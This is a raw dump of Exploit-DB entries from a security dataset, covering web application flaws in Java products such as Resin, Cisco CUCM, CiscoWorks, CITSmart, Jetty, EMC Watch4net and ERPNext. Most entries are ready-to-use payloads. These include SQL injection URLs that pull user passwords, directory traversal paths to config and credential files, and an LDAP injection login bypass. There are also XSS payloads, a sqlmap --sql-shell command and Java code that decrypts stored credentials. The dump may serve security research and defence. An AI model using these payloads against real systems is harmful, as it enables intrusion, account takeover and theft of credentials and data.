deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27888
Description: Caucho Resin 3.0.17/3.0.18 - Viewfile Information Disclosure
Type: webapps
Platform: java
Date: 2006-05-16
Author: Joseph Pierini

Exploit:
source: https://www.securityfocus.com/bid/18007/info

Resin is prone to an information-disclosure vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve the contents of arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

http://www.example.com/resin-doc/viewfile/?contextpath=/otherwebapp&servletpath=&file=WEB-INF/web.xml
http://www.example.com/resin-doc/viewfile/?contextpath=/&servletpath=&file=WEB-INF/classes/com/webapp/app/target.class
Exploit-DB #32448
Description: Celoxis - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: java
Date: 2008-10-01
Author: teuquooch1seero

Exploit:
source: https://www.securityfocus.com/bid/31514/info

Celoxis is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/psa/user.do?bxn=umyhome&message=XSS+goes+here+%3cscript%3ealert('XSS')%3c/script%3e
Exploit-DB #48459
Description: Cisco Digital Network Architecture Center 1.3.1.4 - Persistent Cross-Site Scripting
Type: webapps
Platform: java
Date: 2020-05-12
Author: Dylan Garnaud

Exploit:
# Exploit Title: Cisco Digital Network Architecture Center 1.3.1.4 - Persistent Cross-Site Scripting 
# Date: 2020-04-16
# Exploit Author: Dylan Garnaud & Benoit Malaboeuf - Pentesters from Orange Cyberdefense France
# Vendor Homepage: https://www.cisco.com/c/en/us/products/cloud-systems-management/dna-center/index.html
# Version: Cisco DNA before 1.3.0.6 and 1.3.1.4
# Tested on: 1.3.0.2
# CVE : CVE-2019-15253
# Security advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190205-dnac-xss


## 1 - Network Hierarchy
- Vulnerable parameter: Floor Name.
- Payload: ```<script>alert('XSS')</script>```  
- Details: There is no control or security mechanism on this field. Specials characters are not encoded or filtered.
- Privileges: It requires admin or customer account.
- Location: Design -> Network Hirearchy -> Building -> Floor -> Field: "Floor name" .


## 2 - User Management
- Vulnerable parameters: First Name, Last Name .
- Payload: ```<script>alert('XSS')</script>```  
- Details: There is no control or security mechanism on this field. Specials characters are not encoded or filtered.
- Privileges: It requires admin account.
- Location: Settings -> Users -> User Management -> Fields: "First Name" or "Last Name".
Exploit-DB #32897
Description: Cisco Subscriber Edge Services Manager - Cross-Site Scripting / HTML Injection
Type: webapps
Platform: java
Date: 2009-04-09
Author: Usman Saeed

Exploit:
source: https://www.securityfocus.com/bid/34454/info

Cisco Subscriber Edge Services Manager is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

We don't know which versions of Subscriber Edge Services Manager are affected. We will update this BID as more information emerges. 

http://www.example.com/servlet/JavascriptProbe?prevURL=http%3A//host/servlet/JavascriptProbe%3FprevURL%3Dhttp%253A//host/&browser=explorer&version=6&javascript=1.3&
getElementById=true&getElementTagName=true&documentElement=true&anchors=true&regexp=true&option=true&all=true&cookie=true&images=true&layers=false&forms=
true&links=true&frames=true&screen=%20true"><script>alert(1);</script>"


http://www.example.com/servlet/JavascriptProbe?prevURL=http%3A//host/servlet/JavascriptProbe%3FprevURL%3D%22%3E%3C&browser=explorer&version=6&javascript=1.3&getElem
entById=true&getElementTagName=true&documentElement=true&anchors=true&regexp=true&option=true&all=true&cookie=true&images=true&layers=false&forms=true&li
nks=true<a%20href%20=%20"http://www.host.net">HTML
Injection</a>&frames=true&screen=true&
Exploit-DB #31189
Description: Cisco Unified Communications Manager 6.1 - 'key' SQL Injection
Type: webapps
Platform: java
Date: 2008-02-13
Author: Nico Leidecker

Exploit:
source: https://www.securityfocus.com/bid/27775/info

Cisco Unified Communications Manager is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. This issue is tracked by Cisco bug ID CSCsk64286.

This issue affects the following:

Cisco Unified Communication Manager 5.0/5.1 prior to 5.1(3a)
Cisco Unified Communication Manager 6.0/6.1 prior to 6.1(1a)

https://www.example.org/ccmuser/personaladdressbookEdit.do?key='+UNION+ALL+
SELECT+'','',firstname,lastname,userid,password+from+enduser;--

https://www.example.org/ccmuser/personaladdressbookEdit.do?key='+UNION+ALL+
SELECT+'','','',user,'',password+from+applicationuser;--
Exploit-DB #35781
Description: CiscoWorks Common Services 3.1.1 - Auditing Directory Traversal
Type: webapps
Platform: java
Date: 2011-05-18
Author: Sense of Security

Exploit:
source: https://www.securityfocus.com/bid/47905/info

CiscoWorks Common Services is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

A remote attacker could exploit this vulnerability using directory-traversal strings (such as '../') to gain access to arbitrary files on the targeted system. This may result in the disclosure of sensitive information or lead to a complete compromise of the affected computer.

This issue is being monitored by Cisco Bug ID CSCto35577.

CiscoWorks Common Services 3.3 and prior are vulnerable.

http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\boot.ini
cmfDBA user database info:

http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program
Files\CSCOpx\MDC\Tomcat\webapps\triveni\WEB-INF\classes\schedule.properties DB connection info for all databases:

http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program
Files\CSCOpx\lib\classpath\com\cisco\nm\cmf\dbservice2\DBServer.properties

Note: When reading large files such as this file, ensure the row limit is adjusted to 500 for example.
DB password change log:

http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program
Files\CSCOpx\log\dbpwdChange.log
Exploit-DB #49762
Description: CITSmart ITSM 9.1.2.22 - LDAP Injection
Type: webapps
Platform: java
Date: 2021-04-14
Author: skysbsb

Exploit:
# Exploit Title: CITSmart ITSM 9.1.2.22 - LDAP Injection
# Google Dork: "citsmart.local"
# Date: 29/12/2020
# Exploit Author: skysbsb
# Vendor Homepage: https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html
# Version: < 9.1.2.23
# CVE : CVE-2020-35775

To exploit this flaw it is necessary to have at least one user/password previously registered, because the system checks (ldap bind) the first user returned in the ldap search. However, it returns the last user found in the search to the function that called it (logic error).

So, I call this problem an LDAP injection in conjunction with a programming logic error that allows you to authenticate to CITSmart ITSM with another valid user without needing to know the target user's password.

Affected versions: < 9.1.2.23
Fixed versions: >= 9.1.2.23

Using this LDAP query in the username field of login page you could login with the target_username account without knowing the target account password.

*)(|(sAMAccountName=valid_username)(sAMAccountName=target_username)

You must know at least one username/password because the autenticacaoAD() function at LDAPUtils.java class (package br.com.centralit.citcorpore.integracao.ad) will try to bind with the first user (valid_username) of the query result.

Vendor has acknowledge this vulnerability at ticket 5929 (https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html)
Exploit-DB #49763
Description: CITSmart ITSM 9.1.2.27 - 'query' Time-based Blind SQL Injection (Authenticated)
Type: webapps
Platform: java
Date: 2021-04-14
Author: skysbsb

Exploit:
# Exploit Title: CITSmart ITSM 9.1.2.27 - 'query' Time-based Blind SQL Injection (Authenticated)
# Google Dork: "citsmart.local"
# Date: 11/03/2021
# Exploit Author: skysbsb
# Vendor Homepage: https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html
# Version: < 9.1.2.28
# CVE : CVE-2021-28142

To exploit this flaw it is necessary to be authenticated.

URL vulnerable:
https://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale
Param vulnerable: query

Sqlmap usage:  sqlmap -u "
https://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale" --cookie 'JSESSIONID=xxx' --time-sec 1 --prefix "')" --suffix "AND ('abc%'='abc" --sql-shell

Affected versions: < 9.1.2.28
Fixed versions: >= 9.1.2.28

Vendor has acknowledge this vulnerability at ticket 11216 (https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html)
Exploit-DB #33181
Description: Computer Associates SiteMinder - Unicode Cross-Site Scripting Protection Security Bypass
Type: webapps
Platform: java
Date: 2009-06-08
Author: Arshan Dabirsiaghi

Exploit:
source: https://www.securityfocus.com/bid/36088/info

Computer Associates SiteMinder is prone to a security-bypass vulnerability because it fails to properly validate user-supplied input.

An attacker can exploit this issue to bypass cross-site scripting protections. Successful exploits can aid in further attacks.

We don't know which versions of SiteMinder are affected. We will update this BID when more details become available.

http://www.example.com/app/function?foo=bar%e0%80%bc
Exploit-DB #37589
Description: ConcourseSuite - Multiple Cross-Site Scripting / Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: java
Date: 2012-08-08
Author: Matthew Joyce

Exploit:
source: https://www.securityfocus.com/bid/54881/info

The ConcourseSuite is prone to a cross-site request-forgery vulnerability and multiple cross-site scripting vulnerabilities.

An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, add, delete, or modify sensitive information, or perform unauthorized actions. Other attacks are also possible.

ConcourseSuite version 6.1 (20120209) is vulnerable; other versions may also be affected. 

http://www.example.com/crm/Sales.do?nameFirst&nameLast
http://www.example.com/crm/ExternalContacts.do?nameFirst&nameLast&company
http://www.example.com/crm/Accounts.do?name
http://www.example.com/crm/MyCFSProfile.do?address1state
Exploit-DB #36548
Description: Contus Job Portal - 'Category' SQL Injection
Type: webapps
Platform: java
Date: 2012-01-13
Author: Lazmania61

Exploit:
source: https://www.securityfocus.com/bid/51404/info

Contus Job Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/demo/jobresult?searchname=quickjobsearch&Keywords=&Location=&Category=16â??A
Exploit-DB #33048
Description: DirectAdmin 1.33.6 - 'CMD_REDIRECT' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2009-05-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/35450/info

DirectAdmin is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

DirectAdmin 1.33.6 and prior versions are affected.

http://www.example.com:2222/CMD_REDIRECT?view=advanced&sort1%22%3E%3Cscript%3Ealert(111);%3C/script%3E=1&domain=www.example2.com
Exploit-DB #34293
Description: dotDefender 4.02 - 'clave' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2010-07-12
Author: David K

Exploit:
source: https://www.securityfocus.com/bid/41541/info

dotDefender is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

dotDefender 4.02 is vulnerable; other versions may also be affected. 

The following example URI is available:

http://www.example.com/oportunidades/presencial/buscador/sinresultado/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{
Exploit-DB #33286
Description: Eclipse BIRT 2.2.1 - 'run?__report' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2009-10-14
Author: Michele Orru

Exploit:
source: https://www.securityfocus.com/bid/36674/info

Eclipse BIRT (Business Intelligence and Reporting Tools) is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Eclipse BIRT 2.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/birt-viewer/run?__report='"><iframe%20src=javascript:alert(666)>&r=-703171660
Exploit-DB #50478
Description: Eclipse Jetty 11.0.5 - Sensitive File Disclosure
Type: webapps
Platform: java
Date: 2021-11-03
Author: Mayank Deshmukh

Exploit:
# Exploit Title: Eclipse Jetty 11.0.5 - Sensitive File Disclosure 
# Date: 2021-11-03
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.eclipse.org/jetty/
# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/
# Version: 9.4.37 ≤ version < 9.4.43, 10.0.1 ≤ version < 10.0.6, 11.0.1 ≤ version < 11.0.6
# Security Advisory: https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
# Tested on: Kali Linux
# CVE : CVE-2021-34429
# Github POC: https://github.com/ColdFusionX/CVE-2021-34429

POC - Access WEB-INF/web.xml 

## Request

GET /%u002e/WEB-INF/web.xml HTTP/1.1
Host: localhost:9006
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

## Response

HTTP/1.1 200 OK
Connection: close
Last-Modified: Wed, 03 Nov 2021 08:25:24 GMT
Content-Type: application/xml
Accept-Ranges: bytes
Content-Length: 209
Server: Jetty(11.0.5)

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>ColdFusionX - Web Application</display-name>
</web-app>
Exploit-DB #36939
Description: EJBCA 4.0.7 - 'issuer' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2012-03-11
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/52400/info

EJBCA is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

EJBCA 4.0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/ejbca/publicweb/webdist/certdist?cmd=revoked&issuer=%3Cscript%3Ealert(document.cookie)%3C/script%3E&serno=1
Exploit-DB #36436
Description: EMC M&R (Watch4net) - Credential Disclosure
Type: webapps
Platform: java
Date: 2015-03-19
Author: Han Sahin

Exploit:
Abstract


It was discovered that EMC M&R (Watch4net) credentials of remote servers stored in Watch4net are encrypted using a fixed hardcoded password. If an attacker manages to obtain a copy of the encrypted credentials, it is trivial to decrypt them.

Affected products


EMC reports that the following products are affected by this vulnerability:

- EMC M&R (Watch4Net) versions prior 6.5u1
- EMC ViPR SRM versions prior to 3.6.1

See also


- CVE-2015-0514
- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities
- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities (login required)

Fix


EMC released the following updated versions that resolve this vulnerability:

- EMC M&R (Watch4Net) 6.5u1
- EMC ViPR SRM 3.6.1

Registered customers can download upgraded software from support.emc.com at https://support.emc.com/downloads/34247_ViPR-SRM.

Introduction


EMC M&R (formerly known as Watch4net) enables cross-domain performance monitoring of infrastructure and data center components in real-time - from a single, customizable dashboard.

The Remote-Shell-Collector module from EMC M&R (Watch4net) can push and run executable files on remote hosts to collect performance data from storage environments. Remote-Shell-Collector uses SSH for this purpose.

In order to push and collect monitoring data, accounts are created on the remote servers and credentials of these remote servers are stored in Watch4net. These credentials are encrypted using a fixed hardcoded password. If an attacker manages to obtain a copy of the encrypted credentials, it is trivial to decrypt them.

Details


Due to insecure use of cryptography the credentials of these remote host can be decrypted using the Java class com.watch4net.apg.v2.common.config.tools.Utils.process().

Proof of concept


import com.watch4net.apg.v2.common.config.tools.Utils;

public class Watch4NetCrypt {
   private static void print(String out) {
      System.out.println(out);
   }

   private static void usage() {
      print("Usage:\t watch4netcrypt [-e] password");
      print("\t watch4netcrypt [-d] encrypted");
      System.exit(1);
   }

   public static void main(String[] args) {
      if (args.length != 2 || !("-e".equals(args[0]) || "-d".equals(args[0]))) {
         usage();
      }
      Boolean encrypt = "-e".equals(args[0]);
      String password = args[1];
      if (password != null) {
         print(Utils.process(password, encrypt, "centralized", null));
      }
}
Exploit-DB #36440
Description: EMC M&R (Watch4net) - Directory Traversal
Type: webapps
Platform: java
Date: 2015-03-19
Author: Han Sahin

Exploit:
Abstract


A path traversal vulnerability was found in EMC M&R (Watch4net) Device Discovery. This vulnerability allows an attacker to access sensitive files containing configuration data, passwords, database records, log data, source code, and program scripts and binaries.

Affected products


EMC reports that the following products are affected by this vulnerability:

- EMC M&R (Watch4Net) versions prior 6.5u1
- EMC ViPR SRM versions prior to 3.6.1

See also


- CVE-2015-0516
- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities
- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities (login required)

Fix


EMC released the following updated versions that resolve this vulnerability:

- EMC M&R (Watch4Net) 6.5u1
- EMC ViPR SRM 3.6.1

Registered customers can download upgraded software from support.emc.com at https://support.emc.com/downloads/34247_ViPR-SRM.

Introduction


EMC M&R (formerly known as Watch4net) enables cross-domain performance monitoring of infrastructure and data center components in real-time - from a single, customizable dashboard.

A path traversal vulnerability was found in M&R (Watch4net) Device Discovery. Path traversal vulnerabilities arise when user-controllable data is used insecurely within a file system operation. Typically, a user-supplied filename is appended to a directory prefix in order to read or write the contents of a file.

Details


This vulnerability can be trigger via de fileFileName URL parameter of the /device-discovery/devicesource/downloadSeedFile page. An authenticated attacker can supply path traversal sequences to break out of the intended download directory and read files elsewhere on the file system. This allows the attacker to access sensitive files containing configuration data, passwords, database records, log data, source code, and program scripts and binaries.

The following URL can be used to demonstrate this issue:

http://<target>:58080/device-discovery/devicesource/downloadSeedFile?fileFileName=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts
Exploit-DB #44691
Description: ERPnext 11 - Cross-Site Scripting
Type: webapps
Platform: java
Date: 2018-05-22
Author: Veerababu Penugonda

Exploit:
# Exploit Title: ERPnext 11.x.x - Cross-Site Scripting
# Date: 2018-05-10
# Exploit Author: Veerababu Penugonda
# Vendor Homepage: https://erpnext.com/
# Software Link: https://demo.erpnext.com/
# Version: Frappe ERPNext v11.x.x-develop
# Tested on: Mozilla Firefox quantum 60.1 , Ubuntu OS
# CVE : CVE-2018-11339

# 1. Description:
# https://demo.erpnext.com/desk#Form/Asset%20Repair/ARLOG-000015
# and functionality “Comment” is vulnerable to XSS like Stored ,
# Reflected , Cookie , possible for more

# 2. Payload : 

"><script>alert(1)</script>
Exploit-DB #51255
Description: ERPNext 12.29 - Cross-Site Scripting (XSS)
Type: webapps
Platform: java
Date: 2023-04-05
Author: Patrick Dean Ramos / Nathu Nandwani / Junnair Manla

Exploit:
# Exploit Title: ERPNext 12.29 - Cross-Site Scripting (XSS)
# Date: 7 Feb 2023 
# Exploit Author: Patrick Dean Ramos / Nathu Nandwani / Junnair Manla
#Github - https://github.com/patrickdeanramos/CVE-2022-28598
# Vendor Homepage: https://erpnext.com/
# Version: 12.29
# CVE-2022-28598

Summary: Stored cross-site scripting (XSS) vulnerability was found in ERPNext 12.29 where the 
"last_known_version" field found in the "My Setting" page in ERPNext 
12.29.0 allows remote attackers to inject arbitrary web script or HTML via 
a crafted site name by doing an authenticated POST HTTP request to 
'/desk#Form/User/(Authenticated User)' and inject the script in the 
'last_known_version' field where we are able to view the script by 
clicking the 'pdf' view form.

This vulnerability is specifically the "last_known_version" field found 
under the 'My Settings' where we need to first save the my settings.

1. Login as any user
2. Under the ‘last_known_version’ field we are going to inject our 
malicious script.
3. To view our injected script we need to click the view pdf page, and as 
seen below we have successfully injected our script.